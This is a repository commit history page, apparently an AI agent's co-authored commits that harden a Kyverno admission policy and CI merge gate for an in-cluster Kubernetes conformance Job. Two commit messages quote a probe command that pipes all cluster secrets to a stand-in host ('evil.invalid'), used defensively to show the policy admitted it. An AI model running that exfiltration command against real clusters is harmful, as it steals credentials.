Compare commits

...
Author SHA1 Message Date
jakman85andClaude Opus 5 44dbd44333 fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:44:39 -05:00
jakman85andClaude Opus 5 f81967228d docs(decisions-log): the approval-policy check this PR was expected to fail does not exist
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
I was briefed to expect CI to FAIL on an `approval-policy` check, because `conformance/**` is
security-relevant. Measured instead:

  grep -rn approval .gitea/workflows/            -> no match
  branches/main status_check_contexts            -> ['gate / gate (pull_request)']
  commits/<head>/statuses  gate / gate           -> success, "Successful in 1m36s"
                           gate / conformance    -> pending, "Blocked by required conditions"

The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so
this is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy
in CI anywhere in this repo. What blocks the merge is `required_approvals: 1` and the fact that
`gitea-admin` authors every agent PR and cannot self-approve — the control that returned HTTP
405 on PR #12.

Recording it because the PR body and the log entry both asserted the wrong blocker, and this
repo has been burned repeatedly by documentation that described a control nobody measured. A
change to the admission boundary under `conformance/**` is gated by a generic human approval,
not by anything that knows the path is security-relevant; if that is the intent, it is not
implemented.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:21:49 -05:00
jakman85andClaude Opus 5 d3d5f6d8d2 feat(conformance): the in-cluster Job can now run a named commit and get its results out
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:15:25 -05:00
jakman85 20ea70d221 Merge pull request 'fix(sec): the R-SEC-02 admission policy was never applied' (#16) from fix/kyverno-policy-was-never-applied into main
gate / gate (push) Successful in 1m36s
gate / conformance (push) Has been skipped
Reviewed-on: #16
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:28:54 +00:00
jakman85andClaude Opus 5 8c7a770de2 fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/
kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as
reference; THIS file is the buildable render root" -- and that render root
(platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease,
noting that ClusterPolicies are applied a tier later, by platform-config, because they
need the Kyverno CRDs first.

So three lists exist and only platform-config/kustomization.yaml applies anything. The
policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test
exercised it by path and passed, the merge gate passed, and Flux reported `platform`
Ready at the new revision. Measured on prod afterwards:

    kubectl get clusterpolicy conformance-trigger-job-shape
    Error from server (NotFound)

while ns conformance, the conformance-trigger ServiceAccount, its Role and its
RoleBinding were all live. That is exactly the state that identity's own RBAC header
says must never exist -- the trigger identity present with nothing bounding it. Blast
radius was small only because no trigger kubeconfig exists yet, which is luck, not design.

Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to
8 and contains conformance-trigger-job-shape).

CLOSES THE CLASS, which matters more than the instance. Adds the L0 check
admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is
either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a
reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in
either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no
requirement the diff attributes, so a path-scoped run would have skipped it on the exact
commit that introduced the defect.

Proven both ways, not assumed:
  with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied
  with the fix          -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason

`kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 13:23:09 -05:00
jakman85 1c5974013e Merge pull request 'docs(decisions-log): end-of-session PM handoff' (#14) from docs/handoff-2026-09-29 into main
gate / gate (push) Successful in 1m35s
gate / conformance (push) Has been skipped
Reviewed-on: #14
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:16:22 +00:00
jakman85 4791d4a43a Merge pull request 'feat(sec): constrain the conformance CI trigger at admission' (#13) from feat/conformance-trigger-admission-boundary into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #13
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:16:00 +00:00
jakman85 dfd608ac32 Merge pull request 'fix(ci): CLUSTER_AVAILABLE=true would have faked a green' (#12) from fix/cluster-available-would-fake-a-green into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #12
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:55 +00:00
jakman85 1d2d9d6549 Merge pull request 'fix(ci): the settings token could never have been stored' (#15) from fix/secret-name-and-require-gitea-settings into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #15
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:30 +00:00
jakman85andClaude Opus 5 4b31f97486 docs(decisions-log): addendum — detector armed, and why an agent cannot merge here
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
Records two findings from the unattended session.

The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea
reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null,
and printed success anyway. A token existed; no secret did. Enabling
REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own
fix. PR #15 fixes it and its CI is green WITH require active, which is the only
proof that counts.

And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals".
required_approvals:1 + block_admin_merge_override:true + an author who cannot
self-approve means "merge on green CI" is not executable by an agent. Recorded as
the control working rather than a fault, and deliberately not circumvented --
self-approval would hollow out the boundary just built. The choice of what to do
about it is the operator s, and whatever is chosen must also change the declaration
in expected-branch-protection.json or the detector will correctly fail on the drift.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:12:33 -05:00
jakman85andClaude Opus 5 50a48e6f07 fix(ci): the settings token could NEVER have been stored -- Gitea reserves the GITEA_ prefix
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
The drift detector merged in #11 was inert and would have stayed inert silently.

WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions
secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly
as GitHub reserves `GITHUB_` -- and rejects that PUT with:

    HTTP 400  {"message":"invalid secret name"}

The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and
`curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened.
Measured afterwards: the token existed in the user's token list, and the repo's secret list
was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with
REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one
fixing it.

Three changes:
  * the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping
    GITEA_SETTINGS_TOKEN as a local-run fallback;
  * set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim
    success otherwise. That missing verification is the actual defect -- the wrong name was
    just what it hid;
  * gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS.

WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still
skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green
means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json.

Verified locally before pushing:
  REQUIRE=true, token present -> MERGE GATE: PASS
  REQUIRE=true, no token      -> gitea-settings SKIPPED -> BLOCKED (not a silent skip)

The secret is already stored and read back as present, so CI has what it needs.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:08:12 -05:00
jakman85andClaude Opus 5 911ead5fbd docs(decisions-log): end-of-session PM handoff — six PRs open, and what a new machine needs
gate / gate (pull_request) Successful in 1m33s
gate / conformance (pull_request) Has been skipped
Written for a different session on a different computer. Lists the three open gated
PRs with their risk, the one command that must follow #11 (the drift detector skips
until its token exists, and a skipped detector detects nothing), and the three
credentials that are deliberately NOT in git and without which the toolbox and
cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea
credential.

Records the measured platform state while telling the reader to re-measure it rather
than trust this log -- which is the whole point of CLAUDE.md section 2b, and which
this log earned by being confidently wrong for a month.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:28:33 -05:00
jakman85andClaude Opus 5 8eb5baffa4 feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
gate / gate (pull_request) Successful in 1m38s
gate / conformance (pull_request) Has been skipped
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:22:41 -05:00
jakman85 4634b44cc7 Merge pull request 'feat(ci): detect Gitea settings drift' (#11) from feat/gitea-settings-drift-check into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #11
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:59:29 +00:00
jakman85andClaude Opus 5 6586919132 fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.

MEASURED, before the guard:
  CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
  "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
  "[ ok ] L2/L3 conformance passed for touched subset"

run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.

The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).

The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.

The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:58:26 -05:00
jakman85andClaude Opus 5 e6f6e4febb feat(ci): detect Gitea settings drift -- the blind spot that hid a month of outage
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
Every check in this repo reads the repository, the rendered manifests, or the cluster.
NONE could see Gitea's own database, and that is where branch protection and runner
registration live. Three failures came out of that blind spot on 2026-09-29, all the same
shape -- a setting that READ as enforced while not being, with nothing able to notice:

  * main had NO branch protection for ~a month while DECISIONS-LOG recorded it as a
    required status check;
  * ZERO Actions runners were registered, so PR #1 -- the first PR this repo ever had --
    sat pending for 30.6 minutes with nothing to execute it;
  * after enable_status_check and required_approvals were turned on they STILL did not
    bite, because block_admin_merge_override was false: PRs #5-#9 merged with zero
    approvals recorded against required_approvals: 1.

infra/gitea/*.sh ASSERT the desired state. Nothing DETECTED drift from it. This is the
detector.

ci/gitea-settings.sh runs as a merge-gate stage: it diffs the live rule at
/branch_protections/main against infra/gitea/expected-branch-protection.json and asserts at
least one runner is online. It reads the RULE object, not /branches/main -- the branch view
does not expose block_admin_merge_override and showed all-green while the rule was
overridable by the only account that merges.

Verified by test, not assumed:
  no token            -> exit 3, skips loudly, does NOT block
  live == declaration -> exit 0
  injected drift      -> exit 1, blocks, naming both the drifted key and the runner count

The skip is DELIBERATELY not in gate.sh's strict-skips loop. Making an absent credential
block every PR is precisely the lock-yourself-out failure this repo keeps walking into, so
a skip denies a PASS (exit 3) and says loudly what is unverified. REQUIRE_GITEA_SETTINGS=true
upgrades it to a block once the token is wired.

gate.yml's `|| [ "$?" -eq 3 ]` tolerance now covers a second stage. That widening is
declared in the file rather than left to be discovered, and it narrows back the moment
REQUIRE_GITEA_SETTINGS is set.

infra/gitea/set-ci-token.sh mints the token and stores it as the repo Actions secret without
ever printing the value.

UNTIL THAT TOKEN EXISTS THIS STAGE SKIPS, AND A SKIPPED DETECTOR DETECTS NOTHING.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:52:28 -05:00
jakman85 e8e6b9c681 Merge pull request 'fix(gitea): admins could override the gate' (#10) from fix/gitea-admins-could-override-the-gate into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #10
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:43:52 +00:00
jakman85andClaude Opus 5 fcc66c7858 fix(gitea): admins could override the gate -- the enforcement was not enforcing
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
enable_status_check and required_approvals were set earlier today and recorded as done.
They did not bite. block_admin_merge_override was false, and Gitea lets repo admins
override merge requirements without it. jakman85 holds owner, so both requirements were
bypassable by exactly the account that performs every merge.

The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1
was in force, with ZERO approvals recorded on any of them.

Two process failures, both the same shape as the defect this whole session started with:

1. Verified with the wrong view. /branches/main reports protected, enable_status_check and
   required_approvals but NOT block_admin_merge_override -- it showed everything green while
   the rule was overridable. /branch_protections/main is authoritative.
2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`;
   asking jq for it returns null, which reads like "set to false" but means "key absent", so
   a PATCH that silently did nothing produced a convincing before/after. jq returning null
   is not a value -- it may be an absence. Enumerate with to_entries.

require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it
in isolation. Both carry the field-name warning.

This PR is the test. If it merges WITHOUT an approval, the fix did not work.

Also records the governance question: with only jakman85 (human) and gitea-admin (agent),
a human-authored PR now needs the automation account to approve it. That is ceremony, not
review, and the choice between keeping it, dropping approvals in favour of the status
check, or adding a second human is the operator's to make.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:36:38 -05:00
jakman85 b9e8a4f9e8 Merge pull request 'docs(ci): close out the hardening; correct a claim that shipped wrong' (#9) from docs/close-out-ci-hardening into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #9
2026-09-29 07:32:52 +00:00
29 changed files with 2784 additions and 66 deletions

No files matched your search

+18
View File
@@ -110,9 +110,27 @@ jobs:
# UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
# tolerated exit 3 are explained in the file header; the tolerance covers exactly one
# thing, the unverifiable spec repo, and nothing else can produce a 3 here.
# GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
# OWN database (branch protection + runner registration) — the blind spot that let `main`
# sit unprotected with zero runners for a month while this repo recorded both as working.
# Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
#
# WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
# (spec-immutability). It now also covers gitea-settings skipping when that secret is
# absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
# every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
# exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
# tolerance narrows back to spec-immutability alone.
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
env:
GATE_STRICT_SKIPS: "true"
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
# skipping, this line turns that into a failure and the PR goes red instead of
# merging. Green here means the token resolved and the live Gitea matched the
# declaration in infra/gitea/expected-branch-protection.json.
REQUIRE_GITEA_SETTINGS: "true"
run: ./ci/gate.sh || [ "$?" -eq 3 ]
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
+585
View File
@@ -4924,3 +4924,588 @@ being unable to recur.
4. `required_approvals: 1` means a PR you open as `jakman85` needs `gitea-admin` to approve.
If that friction bites, either open agent work as `gitea-admin` and review as `jakman85`, or
drop back to relying on the status check alone.
## 2026-09-29 (later still) — the enforcement we "turned on" was overridable by the account that merges
`enable_status_check: true` and `required_approvals: 1` were set earlier today and recorded as
done. **They did not bite.** `block_admin_merge_override` was `false`, and Gitea lets repository
admins override merge requirements without it. `jakman85` holds `owner`, so both requirements
were bypassable by exactly the account that performs every merge.
**The evidence was already on the record and nobody read it:** PRs #5, #6, #7, #8 and #9 all
merged while `required_approvals: 1` was in force, with **zero approvals recorded on any of
them**. A one-line check (`/pulls/{n}/reviews`) would have shown it at any point.
Two process failures, both mine, both the same shape as the original defect:
1. **I verified with the wrong view.** `/branches/main` reports `protected`,
`enable_status_check` and `required_approvals` but NOT `block_admin_merge_override`. It
showed everything green while the rule was overridable. The authoritative object is
`/branch_protections/main` — read it and enumerate its keys.
2. **I probed for a field name I assumed existed.** This Gitea (1.24.3) has no
`apply_to_admins`. Asking `jq` for it returns `null`, which reads exactly like "set to
false" but means "key absent" — so a PATCH that silently did nothing looked like a real
before/after. **`jq` returning null is not a value; it may be an absence.** Enumerate with
`to_entries`.
Now `block_admin_merge_override: true`, applied and read back. `infra/gitea/require-gate.sh`
sets it, and `infra/gitea/block-admin-override.sh` fixes it in isolation.
**This is still only a setting.** It is proven when a green PR is REFUSED a merge until
approved — and that has not been observed yet. This PR is the test: if it merges without an
approval, the fix did not work and the finding stands.
### The governance question this exposes
There are two accounts: `jakman85` (owner, the human) and `gitea-admin` (the agent). With
approvals now genuinely required, an agent-authored PR is approved by the human — which is the
intent. But a PR authored by `jakman85` needs `gitea-admin` to approve it, i.e. the automation
account rubber-stamping the human. That is ceremony, not review. Options: keep it and accept
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
that actually verifies something; or add a second human account. **This is a decision for the
operator, not a default to be chosen silently.**
## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
open is listed below with the reason each is not merged.
### MERGE THESE — both gated green
| PR | What | Risk |
|---|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
### DO THIS FIRST — #11 is merged and its detector is currently INERT
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
./infra/gitea/set-ci-token.sh # mints + stores GITEA_SETTINGS_TOKEN, never prints it
Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
